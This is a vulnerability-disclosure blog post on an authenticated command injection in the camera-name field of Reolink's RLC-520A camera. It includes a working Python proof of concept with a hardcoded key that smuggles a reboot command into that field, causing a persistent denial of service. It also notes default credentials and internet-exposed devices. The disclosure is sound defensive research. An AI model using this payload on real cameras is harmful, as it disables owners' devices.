Blog: Vulnerability Disclosure

What’s My Name Again? Reolink camera command injection

Joe Lovett 13 Dec 2022

TL;DR

Research on Reolink’s RLC-520A smart motion detection camera has turned up an authenticated command injection vulnerability. Exploiting this vulnerability with an injected system command can render the device useless.

Introduction

The camera is vulnerable to an authenticated command injection attack. The issue could allow an attacker to use the ability to issue system commands. There are limitations though, that lie in the filtering of certain characters. This is what prevented me from getting a reverse shell.

The vulnerability exists because user supplied data is handled insecurely in the Camera Name attribute.

Figure 1: Reolink RCL-520A info page

Identification

Once a camera name is set the vulnerability can be triggered by changing a setting in the Network Settings window.

Figure 2: Reolink RCL-520A network settings page

 

Looking at the devices serial output shows the camera name being used within the command.

Figure 3: Serial output on network setting change

 

Reverse engineering the netserver binary shows the vulnerable code. Line 10 prints the command to the console. Line 12 shows the command being passed to the pip_system() function. It was found that only limited system commands could be executed due to character filtering on the device.

Figure 4: netserver binary decompiled in Ghidra

Exploitation

Client-side character filtering prevents the direct injection of malicious commands, prompting an Invalid Characters warning:

Figure 5: Reolink RCL-520A info page. Invalid character message

 

To deal with the encrypted POST HTTP data I used Burp for interception and Python code to decrypt and re-encrypt it.

Request:

Figure 6: encrypted request

 

Response:

Figure 7: Encrypted response

 

Here’s the python code that creates a new payload with the malicious input. BTW a new key is needed for each session.

from Crypto.Cipher import AES
import base64
from Crypto.Util.Padding import pad, unpad
import json

key = b'0299C606918AF048'
iv = b"bcswebapp1234567"

test = b'[{"cmd":"SetDevName","action":0,"param":{"DevName":{"name":"testca\'$(`reboot`)\'"}}}]'

test = pad(test, AES.block_size)
enc2 = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
print()
print(base64.b64encode(enc2.encrypt(test)))

Figure 8: Python script executed

 

So, intercepting the change Camera Name request and replacing it with the data from the python script successfully changes the device name.

Figure 9: Reolink RCL-520A info page. Malicious input accepted

 

Changing the DNS settings in the Network Settings window will trigger the exploit.

Figure 10: Reolink RCL-520A network settings page. Triggering payload

 

Below is a capture of the serial console of the device. Figure 12: Serial console – injected command shows the injected command, Figure 13: serial console – reboot command accepted shows it being executed.

Figure 11: Serial console. Injected command

 

Figure 12: Serial console. Reboot command accepted

 

Injecting the reboot command into the camera name attribute will cause a Denial of Service to occur, causing the device to reboot constantly. A factory reset is needed to revert the device to a working state.

But it’s post auth, so does it matter?

The default username and password is admin/<blank> though it prompts the user to change it on first login. I’m confident a significant proportion of those creds are either still default or very, very simple

Whilst these devices should really be on an internal network, a quick and dirty search of Shodan shows nearly 700 devices (requires a Shodan account).

Firmware update

Reolink are working on a firmware update and expect to have it in production soon.

Conclusion

This vulnerability allows an attacker to render the device inoperable.

With more time the character filtering could be bypassed, allowing for full device access. That’s a job for another day though.

Attacks like these are easily protected against. All commands that interface with the underlying device should be statically set, failing that a more robust filtering policy should be implemented.

User input should never be trusted.